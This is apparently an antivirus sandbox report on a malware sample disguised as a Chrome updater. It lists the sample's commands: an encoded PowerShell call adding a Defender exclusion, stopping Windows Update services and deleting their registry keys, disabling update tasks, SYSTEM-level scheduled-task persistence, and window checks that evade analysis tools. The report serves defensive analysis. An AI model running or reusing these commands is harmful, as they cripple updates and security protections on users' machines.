Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\googleupdatetaskmachineqc
Malicious functions
Searches for windows to
detect analytical utilities:
- ClassName: 'RegmonClass', WindowName: ''
- ClassName: 'FilemonClass', WindowName: ''
- ClassName: 'PROCMON_WINDOW_CLASS', WindowName: ''
Modifies file system
Creates the following files
- %ProgramFiles%\google\chrome\updater.exe
Modifies the HOSTS file.
Miscellaneous
Searches for the following windows
- ClassName: 'Registry Monitor - Sysinternals: www.sysinternals.com' WindowName: ''
- ClassName: '18467-41' WindowName: ''
- ClassName: 'File Monitor - Sysinternals: www.sysinternals.com' WindowName: ''
- ClassName: 'Process Monitor - Sysinternals: www.sysinternals.com' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\cmd.exe' cmd /c powershell -EncodedCommand "PAAjAG8AagByACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZgBvACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAH...' (with hidden window)
- '<SYSTEM32>\cmd.exe' cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentCont...' (with hidden window)
- '<SYSTEM32>\cmd.exe' cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0' (with hidden window)
- '<SYSTEM32>\cmd.exe' cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr '^"%ProgramFiles%\Google\Chrome\updater.exe^"'' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' cmd /c powershell -EncodedCommand "PAAjAG8AagByACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZgBvACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAH...
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr '"%ProgramFiles%\Google\Chrome\updater.exe"'
- '<SYSTEM32>\cmd.exe' cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr '^"%ProgramFiles%\Google\Chrome\updater.exe^"'
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\icacls.exe' <SYSTEM32>\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
- '<SYSTEM32>\takeown.exe' /f <SYSTEM32>\WaaSMedicSvc.dll
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\cmd.exe' cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
- '<SYSTEM32>\cmd.exe' cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentCont...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAG8AagByACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZgBvACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwA...
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
